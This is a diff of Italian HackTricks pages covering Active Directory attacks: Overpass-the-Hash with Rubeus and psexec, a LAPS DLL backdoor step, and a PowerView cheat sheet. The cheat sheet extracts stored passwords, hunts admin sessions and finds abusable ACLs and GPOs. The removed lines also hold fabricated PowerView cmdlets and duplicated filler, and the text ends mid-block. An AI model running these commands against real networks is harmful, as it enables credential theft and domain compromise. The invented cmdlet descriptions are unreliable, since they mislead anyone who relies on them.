Successivamente, basta compilare la nuova `AdmPwd.PS.dll` e caricarla sulla macchina in `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (e modificare l'ora di modifica).
|
||||
Quindi, basta compilare il nuovo `AdmPwd.PS.dll` e caricarlo sulla macchina in `C:\Tools\admpwd\Main\AdmPwd.PS\bin\Debug\AdmPwd.PS.dll` (e modificare l'orario di modifica).
|
||||
|
||||
## Riferimenti
|
||||
## References
|
||||
* [https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/](https://4sysops.com/archives/introduction-to-microsoft-laps-local-administrator-password-solution/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al repository [hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusivi [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**PEASS & HackTricks swag ufficiale**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,24 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a esperto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la **tua azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
## Overpass The Hash/Pass The Key (PTK)
|
||||
|
||||
L'attacco **Overpass The Hash/Pass The Key (PTK)** è progettato per ambienti in cui il protocollo NTLM tradizionale è limitato e l'autenticazione Kerberos ha la precedenza. Questo attacco sfrutta l'hash NTLM o le chiavi AES di un utente per ottenere i biglietti Kerberos, consentendo l'accesso non autorizzato alle risorse all'interno di una rete.
|
||||
L'attacco **Overpass The Hash/Pass The Key (PTK)** è progettato per ambienti in cui il tradizionale protocollo NTLM è limitato e l'autenticazione Kerberos ha la precedenza. Questo attacco sfrutta l'hash NTLM o le chiavi AES di un utente per ottenere i biglietti Kerberos, consentendo l'accesso non autorizzato alle risorse all'interno di una rete.
|
||||
|
||||
Per eseguire questo attacco, il primo passo consiste nell'acquisire l'hash NTLM o la password dell'account dell'utente preso di mira. Una volta ottenute queste informazioni, è possibile ottenere un Ticket Granting Ticket (TGT) per l'account, consentendo all'attaccante di accedere a servizi o macchine a cui l'utente ha le autorizzazioni.
|
||||
|
||||
|
@ -26,16 +31,16 @@ python psexec.py jurassic.park/velociraptor@labwws02.jurassic.park -k -no-pass
|
|||
```
|
||||
Per scenari che richiedono AES256, l'opzione `-aesKey [chiave AES]` può essere utilizzata. Inoltre, il ticket acquisito potrebbe essere utilizzato con vari strumenti, tra cui smbexec.py o wmiexec.py, ampliando così la portata dell'attacco.
|
||||
|
||||
Problemi riscontrati come _PyAsn1Error_ o _KDC cannot find the name_ sono generalmente risolti aggiornando la libreria Impacket o utilizzando il nome host invece dell'indirizzo IP, garantendo la compatibilità con il KDC Kerberos.
|
||||
Problemi riscontrati come _PyAsn1Error_ o _KDC cannot find the name_ sono tipicamente risolti aggiornando la libreria Impacket o utilizzando il nome host invece dell'indirizzo IP, garantendo la compatibilità con il KDC di Kerberos.
|
||||
|
||||
Una sequenza di comandi alternativa utilizzando Rubeus.exe mostra un altro aspetto di questa tecnica:
|
||||
```bash
|
||||
.\Rubeus.exe asktgt /domain:jurassic.park /user:velociraptor /rc4:2a3de7fe356ee524cc9f3d579f2e0aa7 /ptt
|
||||
.\PsExec.exe -accepteula \\labwws02.jurassic.park cmd
|
||||
```
|
||||
Questo metodo riflette l'approccio **Pass the Key**, con un focus sul prendere il controllo e utilizzare direttamente il ticket per scopi di autenticazione. È importante notare che l'inizio di una richiesta TGT attiva l'evento `4768: È stata richiesta un'autenticazione Kerberos (TGT)`, che indica l'utilizzo predefinito di RC4-HMAC, anche se i sistemi Windows moderni preferiscono AES256.
|
||||
Questo metodo riflette l'approccio **Pass the Key**, con un focus sul dirottamento e sull'utilizzo diretto del ticket per scopi di autenticazione. È cruciale notare che l'iniziazione di una richiesta TGT attiva l'evento `4768: È stata richiesta un'autenticazione Kerberos (TGT)`, indicando un utilizzo di RC4-HMAC per impostazione predefinita, anche se i sistemi Windows moderni preferiscono AES256.
|
||||
|
||||
Per conformarsi alla sicurezza operativa e utilizzare AES256, è possibile applicare il seguente comando:
|
||||
Per conformarsi alla sicurezza operativa e utilizzare AES256, il seguente comando può essere applicato:
|
||||
```bash
|
||||
.\Rubeus.exe asktgt /user:<USERNAME> /domain:<DOMAIN> /aes256:HASH /nowrap /opsec
|
||||
```
|
||||
|
@ -43,14 +48,18 @@ Per conformarsi alla sicurezza operativa e utilizzare AES256, è possibile appli
|
|||
|
||||
* [https://www.tarlogic.com/es/blog/como-atacar-kerberos/](https://www.tarlogic.com/es/blog/como-atacar-kerberos/)
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking su AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in un'**azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? O vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al repository [hacktricks](https://github.com/carlospolop/hacktricks) e al repository [hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -2,19 +2,24 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Impara l'hacking di AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Impara l'hacking AWS da zero a eroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Esperto Red Team AWS di HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata in HackTricks**? o vuoi avere accesso all'**ultima versione di PEASS o scaricare HackTricks in PDF**? Controlla i [**PACCHETTI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**The PEASS Family**](https://opensea.io/collection/the-peass-family), la nostra collezione di esclusive [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Lavori in una **azienda di sicurezza informatica**? Vuoi vedere la tua **azienda pubblicizzata su HackTricks**? o vuoi avere accesso all'**ultima versione del PEASS o scaricare HackTricks in PDF**? Controlla i [**PIANI DI ABBONAMENTO**](https://github.com/sponsors/carlospolop)!
|
||||
* Scopri [**La Famiglia PEASS**](https://opensea.io/collection/the-peass-family), la nostra collezione di [**NFT esclusivi**](https://opensea.io/collection/the-peass-family)
|
||||
* Ottieni il [**merchandising ufficiale di PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo Telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al [repo hacktricks](https://github.com/carlospolop/hacktricks) e al [repo hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
* **Unisciti al** [**💬**](https://emojipedia.org/speech-balloon/) [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguimi** su **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Condividi i tuoi trucchi di hacking inviando PR al [repo di hacktricks](https://github.com/carlospolop/hacktricks) e al [repo di hacktricks-cloud](https://github.com/carlospolop/hacktricks-cloud)**.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://websec.nl/" %}
|
||||
|
||||
|
||||
La versione più aggiornata di PowerView sarà sempre nel ramo dev di PowerSploit: [https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
|
||||
|
||||
[**SharpView**](https://github.com/tevora-threat/SharpView) è una porta .NET di [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
|
||||
[**SharpView**](https://github.com/tevora-threat/SharpView) è un porting .NET di [**PowerView**](https://github.com/PowerShellMafia/PowerSploit/blob/dev/Recon/PowerView.ps1)
|
||||
|
||||
### Enumerazione rapida
|
||||
```powershell
|
||||
|
@ -47,68 +52,7 @@ Invoke-UserHunter -CheckAccess
|
|||
#Find interesting ACLs
|
||||
Invoke-ACLScanner -ResolveGUIDs | select IdentityReferenceName, ObjectDN, ActiveDirectoryRights | fl
|
||||
```
|
||||
### Informazioni sul dominio
|
||||
|
||||
```plaintext
|
||||
Get-Domain
|
||||
```
|
||||
|
||||
Restituisce informazioni di base sul dominio corrente, come il nome del dominio, il SID del dominio, il nome del controller di dominio e l'elenco degli utenti del dominio.
|
||||
|
||||
```plaintext
|
||||
Get-DomainController
|
||||
```
|
||||
|
||||
Restituisce informazioni sui controller di dominio nel dominio corrente, come il nome del controller di dominio, l'indirizzo IP, il ruolo del controller di dominio e l'elenco degli utenti connessi al controller di dominio.
|
||||
|
||||
```plaintext
|
||||
Get-DomainPolicy
|
||||
```
|
||||
|
||||
Restituisce informazioni sulle policy di dominio, come il nome della policy, il livello di sicurezza, le impostazioni di password e le impostazioni di blocco dell'account.
|
||||
|
||||
```plaintext
|
||||
Get-DomainTrust
|
||||
```
|
||||
|
||||
Restituisce informazioni sulle trust del dominio, come il nome del dominio fidato, il tipo di trust e lo stato della trust.
|
||||
|
||||
```plaintext
|
||||
Get-DomainGroup
|
||||
```
|
||||
|
||||
Restituisce informazioni sui gruppi nel dominio corrente, come il nome del gruppo, il SID del gruppo e l'elenco degli utenti nel gruppo.
|
||||
|
||||
```plaintext
|
||||
Get-DomainUser
|
||||
```
|
||||
|
||||
Restituisce informazioni sugli utenti nel dominio corrente, come il nome dell'utente, il SID dell'utente, il gruppo primario dell'utente e l'elenco dei gruppi a cui l'utente appartiene.
|
||||
|
||||
```plaintext
|
||||
Get-DomainComputer
|
||||
```
|
||||
|
||||
Restituisce informazioni sui computer nel dominio corrente, come il nome del computer, il SID del computer, il ruolo del computer e l'elenco degli utenti connessi al computer.
|
||||
|
||||
```plaintext
|
||||
Get-DomainGroupMember
|
||||
```
|
||||
|
||||
Restituisce l'elenco dei membri di un gruppo nel dominio corrente, come il nome dell'utente o del gruppo e il tipo di membro (utente o gruppo).
|
||||
|
||||
```plaintext
|
||||
Get-DomainUserEvent
|
||||
```
|
||||
|
||||
Restituisce gli eventi di un utente nel dominio corrente, come il nome dell'utente, il tipo di evento, la data e l'ora dell'evento e la descrizione dell'evento.
|
||||
|
||||
```plaintext
|
||||
Get-DomainComputerEvent
|
||||
```
|
||||
|
||||
Restituisce gli eventi di un computer nel dominio corrente, come il nome del computer, il tipo di evento, la data e l'ora dell'evento e la descrizione dell'evento.
|
||||
```
|
||||
### Informazioni di dominio
|
||||
```powershell
|
||||
# Domain Info
|
||||
Get-Domain #Get info about the current domain
|
||||
|
@ -131,16 +75,7 @@ Get-NetDomainController -Domain mydomain.local #Get all ifo of specific domain D
|
|||
# Get Forest info
|
||||
Get-ForestDomain
|
||||
```
|
||||
### Utenti, Gruppi, Computer e UO
|
||||
|
||||
PowerView fornisce una serie di comandi per ottenere informazioni sugli utenti, i gruppi, i computer e le Unità Organizzative (UO) in un dominio Windows. Di seguito sono riportati alcuni comandi utili:
|
||||
|
||||
- `Get-NetUser`: restituisce informazioni sugli utenti nel dominio.
|
||||
- `Get-NetGroup`: restituisce informazioni sui gruppi nel dominio.
|
||||
- `Get-NetComputer`: restituisce informazioni sui computer nel dominio.
|
||||
- `Get-NetOU`: restituisce informazioni sulle Unità Organizzative nel dominio.
|
||||
|
||||
Questi comandi possono essere utilizzati per ottenere informazioni dettagliate sugli oggetti nel dominio, come ad esempio i membri di un gruppo, i computer in una determinata UO o gli utenti appartenenti a un gruppo specifico.
|
||||
### Utenti, Gruppi, Computer e OU
|
||||
```powershell
|
||||
# Users
|
||||
## Get usernames and their groups
|
||||
|
@ -207,120 +142,6 @@ Get-NetOU #Get Organization Units
|
|||
Get-NetOU StudentMachines | %{Get-NetComputer -ADSPath $_} #Get all computers inside an OU (StudentMachines in this case)
|
||||
```
|
||||
### Accesso e Sessioni
|
||||
|
||||
PowerView fornisce una serie di comandi utili per l'accesso e la gestione delle sessioni in un sistema Windows.
|
||||
|
||||
#### Get-NetLoggedon
|
||||
|
||||
Il comando `Get-NetLoggedon` restituisce una lista degli utenti attualmente connessi al sistema.
|
||||
|
||||
```powershell
|
||||
Get-NetLoggedon
|
||||
```
|
||||
|
||||
#### Get-NetSession
|
||||
|
||||
Il comando `Get-NetSession` restituisce una lista delle sessioni attive nel sistema.
|
||||
|
||||
```powershell
|
||||
Get-NetSession
|
||||
```
|
||||
|
||||
#### Get-NetSessionComputer
|
||||
|
||||
Il comando `Get-NetSessionComputer` restituisce una lista delle sessioni attive su un determinato computer.
|
||||
|
||||
```powershell
|
||||
Get-NetSessionComputer -ComputerName <computer_name>
|
||||
```
|
||||
|
||||
#### Get-NetSessionUser
|
||||
|
||||
Il comando `Get-NetSessionUser` restituisce una lista delle sessioni attive per un determinato utente.
|
||||
|
||||
```powershell
|
||||
Get-NetSessionUser -UserName <username>
|
||||
```
|
||||
|
||||
#### Get-NetSessionGroup
|
||||
|
||||
Il comando `Get-NetSessionGroup` restituisce una lista delle sessioni attive per un determinato gruppo.
|
||||
|
||||
```powershell
|
||||
Get-NetSessionGroup -GroupName <group_name>
|
||||
```
|
||||
|
||||
#### Get-NetSessionID
|
||||
|
||||
Il comando `Get-NetSessionID` restituisce informazioni dettagliate su una sessione specifica.
|
||||
|
||||
```powershell
|
||||
Get-NetSessionID -SessionID <session_id>
|
||||
```
|
||||
|
||||
#### Get-NetSessionIDUser
|
||||
|
||||
Il comando `Get-NetSessionIDUser` restituisce informazioni dettagliate su una sessione specifica per un determinato utente.
|
||||
|
||||
```powershell
|
||||
Get-NetSessionIDUser -SessionID <session_id> -UserName <username>
|
||||
```
|
||||
|
||||
#### Get-NetSessionIDComputer
|
||||
|
||||
Il comando `Get-NetSessionIDComputer` restituisce informazioni dettagliate su una sessione specifica per un determinato computer.
|
||||
|
||||
```powershell
|
||||
Get-NetSessionIDComputer -SessionID <session_id> -ComputerName <computer_name>
|
||||
```
|
||||
|
||||
#### Get-NetSessionIDGroup
|
||||
|
||||
Il comando `Get-NetSessionIDGroup` restituisce informazioni dettagliate su una sessione specifica per un determinato gruppo.
|
||||
|
||||
```powershell
|
||||
Get-NetSessionIDGroup -SessionID <session_id> -GroupName <group_name>
|
||||
```
|
||||
|
||||
#### Get-NetSessionIDUserComputer
|
||||
|
||||
Il comando `Get-NetSessionIDUserComputer` restituisce informazioni dettagliate su una sessione specifica per un determinato utente e computer.
|
||||
|
||||
```powershell
|
||||
Get-NetSessionIDUserComputer -SessionID <session_id> -UserName <username> -ComputerName <computer_name>
|
||||
```
|
||||
|
||||
#### Get-NetSessionIDUserGroup
|
||||
|
||||
Il comando `Get-NetSessionIDUserGroup` restituisce informazioni dettagliate su una sessione specifica per un determinato utente e gruppo.
|
||||
|
||||
```powershell
|
||||
Get-NetSessionIDUserGroup -SessionID <session_id> -UserName <username> -GroupName <group_name>
|
||||
```
|
||||
|
||||
#### Get-NetSessionIDComputerGroup
|
||||
|
||||
Il comando `Get-NetSessionIDComputerGroup` restituisce informazioni dettagliate su una sessione specifica per un determinato computer e gruppo.
|
||||
|
||||
```powershell
|
||||
Get-NetSessionIDComputerGroup -SessionID <session_id> -ComputerName <computer_name> -GroupName <group_name>
|
||||
```
|
||||
|
||||
#### Get-NetSessionIDUserComputerGroup
|
||||
|
||||
Il comando `Get-NetSessionIDUserComputerGroup` restituisce informazioni dettagliate su una sessione specifica per un determinato utente, computer e gruppo.
|
||||
|
||||
```powershell
|
||||
Get-NetSessionIDUserComputerGroup -SessionID <session_id> -UserName <username> -ComputerName <computer_name> -GroupName <group_name>
|
||||
```
|
||||
|
||||
#### Get-NetSessionIDUserComputerGroup
|
||||
|
||||
Il comando `Get-NetSessionIDUserComputerGroup` restituisce informazioni dettagliate su una sessione specifica per un determinato utente, computer e gruppo.
|
||||
|
||||
```powershell
|
||||
Get-NetSessionIDUserComputerGroup -SessionID <session_id> -UserName <username> -ComputerName <computer_name> -GroupName <group_name>
|
||||
```
|
||||
```powershell
|
||||
Get-NetLoggedon -ComputerName <servername> #Get net logon users at the moment in a computer (need admins rights on target)
|
||||
Get-NetSession -ComputerName <servername> #Get active sessions on the host
|
||||
|
@ -328,10 +149,10 @@ Get-LoggedOnLocal -ComputerName <servername> #Get locally logon users at the mom
|
|||
Get-LastLoggedon -ComputerName <servername> #Get last user logged on (needs admin rigths in host)
|
||||
Get-NetRDPSession -ComputerName <servername> #List RDP sessions inside a host (needs admin rights in host)
|
||||
```
|
||||
### Oggetto Group Policy - GPO
|
||||
### Oggetto criteri di gruppo - GPO
|
||||
|
||||
Se un attaccante ha **alti privilegi su un GPO**, potrebbe essere in grado di **elevare i privilegi** sfruttandolo per **aggiungere autorizzazioni a un utente**, **aggiungere un utente amministratore locale** a un host o **creare un'attività pianificata** (immediata) per eseguire un'azione.\
|
||||
Per [**ulteriori informazioni su come sfruttarlo e come abusarne segui questo link**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
|
||||
Per [**ulteriori informazioni a riguardo e su come sfruttarlo segui questo link**](../active-directory-methodology/acl-persistence-abuse/#gpo-delegation).
|
||||
```powershell
|
||||
#GPO
|
||||
Get-DomainGPO | select displayName #Check the names for info
|
||||
|
@ -393,56 +214,12 @@ Find-InterestingDomainAcl -ResolveGUIDs | ?{$_.IdentityReference -match "RDPUser
|
|||
Get-NetGroupMember -GroupName "Administrators" -Recurse | ?{$_.IsGroup -match "false"} | %{Get-ObjectACL -SamAccountName $_.MemberName -ResolveGUIDs} | select ObjectDN, IdentityReference, ActiveDirectoryRights
|
||||
```
|
||||
### File e cartelle condivise
|
||||
|
||||
Le cartelle e i file condivisi sono una parte essenziale di molti ambienti di rete. Possono essere utilizzati per consentire agli utenti di accedere e condividere facilmente risorse tra di loro. Tuttavia, possono anche rappresentare un rischio per la sicurezza se non vengono configurati correttamente.
|
||||
|
||||
#### Identificare le cartelle condivise
|
||||
|
||||
Per identificare le cartelle condivise su un sistema Windows, è possibile utilizzare il modulo PowerShell PowerView. PowerView fornisce una serie di cmdlet che consentono di eseguire operazioni di ricerca e analisi sulle cartelle condivise.
|
||||
|
||||
Per elencare tutte le cartelle condivise su un sistema, è possibile utilizzare il seguente comando:
|
||||
|
||||
```powershell
|
||||
Get-NetShare
|
||||
```
|
||||
|
||||
Questo comando restituirà un elenco di tutte le cartelle condivise, inclusi il nome, il percorso e le autorizzazioni associate.
|
||||
|
||||
#### Ottenere informazioni sulle autorizzazioni
|
||||
|
||||
Per ottenere informazioni dettagliate sulle autorizzazioni associate a una cartella condivisa, è possibile utilizzare il seguente comando:
|
||||
|
||||
```powershell
|
||||
Get-NetSharePermission -Name <nome_cartella_condivisa>
|
||||
```
|
||||
|
||||
Sostituire `<nome_cartella_condivisa>` con il nome effettivo della cartella condivisa di cui si desidera ottenere informazioni sulle autorizzazioni.
|
||||
|
||||
Questo comando restituirà un elenco delle autorizzazioni associate alla cartella condivisa, inclusi i nomi degli utenti o dei gruppi e i tipi di autorizzazioni concesse.
|
||||
|
||||
#### Modificare le autorizzazioni
|
||||
|
||||
Per modificare le autorizzazioni di una cartella condivisa, è possibile utilizzare il seguente comando:
|
||||
|
||||
```powershell
|
||||
Set-NetSharePermission -Name <nome_cartella_condivisa> -AccountName <nome_utente_o_gruppo> -PermissionLevel <livello_autorizzazione>
|
||||
```
|
||||
|
||||
Sostituire `<nome_cartella_condivisa>` con il nome effettivo della cartella condivisa, `<nome_utente_o_gruppo>` con il nome dell'utente o del gruppo a cui si desidera modificare le autorizzazioni e `<livello_autorizzazione>` con il livello di autorizzazione desiderato (ad esempio "Read", "Write" o "Full").
|
||||
|
||||
Questo comando modificherà le autorizzazioni della cartella condivisa in base ai parametri specificati.
|
||||
|
||||
#### Conclusioni
|
||||
|
||||
Le cartelle e i file condivisi possono essere una risorsa utile per gli utenti di una rete, ma è importante configurarli correttamente per garantire la sicurezza dei dati. Utilizzando PowerView, è possibile identificare, ottenere informazioni e modificare le autorizzazioni delle cartelle condivise in modo efficiente e sicuro.
|
||||
```powershell
|
||||
Get-NetFileServer #Search file servers. Lot of users use to be logged in this kind of servers
|
||||
Find-DomainShare -CheckShareAccess #Search readable shares
|
||||
Find-InterestingDomainShareFile #Find interesting files, can use filters
|
||||
```
|
||||
### Trust di Dominio
|
||||
|
||||
Un trust di dominio è una relazione di fiducia stabilita tra due domini in un ambiente Active Directory. Questa relazione consente agli utenti di un dominio di accedere alle risorse di un altro dominio senza dover autenticarsi nuovamente. I trust di dominio possono essere unidirezionali o bidirezionali e possono essere configurati in diversi modi per soddisfare le esigenze specifiche dell'ambiente di rete.
|
||||
### Trust del Dominio
|
||||
```powershell
|
||||
Get-NetDomainTrust #Get all domain trusts (parent, children and external)
|
||||
Get-DomainTrust #Same
|
||||
|
@ -459,9 +236,7 @@ Get-NetForestTrust #Get forest trusts (it must be between 2 roots, trust between
|
|||
Get-DomainForeingUser #Get users with privileges in other domains inside the forest
|
||||
Get-DomainForeignGroupMember #Get groups with privileges in other domains inside the forest
|
||||
```
|
||||
### Frutta a portata di mano
|
||||
|
||||
Il termine "frutta a portata di mano" si riferisce a vulnerabilità o punti deboli facilmente accessibili e sfruttabili. Questi sono spesso i primi obiettivi che un hacker mira a sfruttare durante un attacco.
|
||||
### Frutta facile
|
||||
```powershell
|
||||
#Check if any user passwords are set
|
||||
$FormatEnumerationLimit=-1;Get-DomainUser -LDAPFilter '(userPassword=*)' -Properties samaccountname,memberof,userPassword | % {Add-Member -InputObject $_ NoteProperty 'Password' "$([System.Text.Encoding]::ASCII.GetString($_.userPassword))" -PassThru} | fl
|
||||
|
@ -500,195 +275,22 @@ Invoke-UserHunter -GroupName "RDPUsers"
|
|||
Invoke-UserHunter -Stealth
|
||||
```
|
||||
### Oggetti eliminati
|
||||
|
||||
PowerView includes several functions to enumerate and manipulate deleted objects in Active Directory. These functions can be useful during a penetration test to identify and recover deleted objects that may contain sensitive information.
|
||||
|
||||
#### Get-DomainDeletedObject
|
||||
|
||||
The `Get-DomainDeletedObject` function retrieves information about deleted objects in Active Directory. It can be used to search for specific deleted objects or to retrieve all deleted objects in the domain.
|
||||
|
||||
```powershell
|
||||
Get-DomainDeletedObject -Identity <ObjectIdentity>
|
||||
```
|
||||
|
||||
#### Restore-DomainDeletedObject
|
||||
|
||||
The `Restore-DomainDeletedObject` function can be used to restore deleted objects in Active Directory. It requires the `ObjectGUID` of the deleted object as input.
|
||||
|
||||
```powershell
|
||||
Restore-DomainDeletedObject -ObjectGUID <ObjectGUID>
|
||||
```
|
||||
|
||||
#### Get-DomainObjectAcl
|
||||
|
||||
The `Get-DomainObjectAcl` function retrieves the access control list (ACL) for a specified object in Active Directory. It can be used to view the permissions assigned to deleted objects.
|
||||
|
||||
```powershell
|
||||
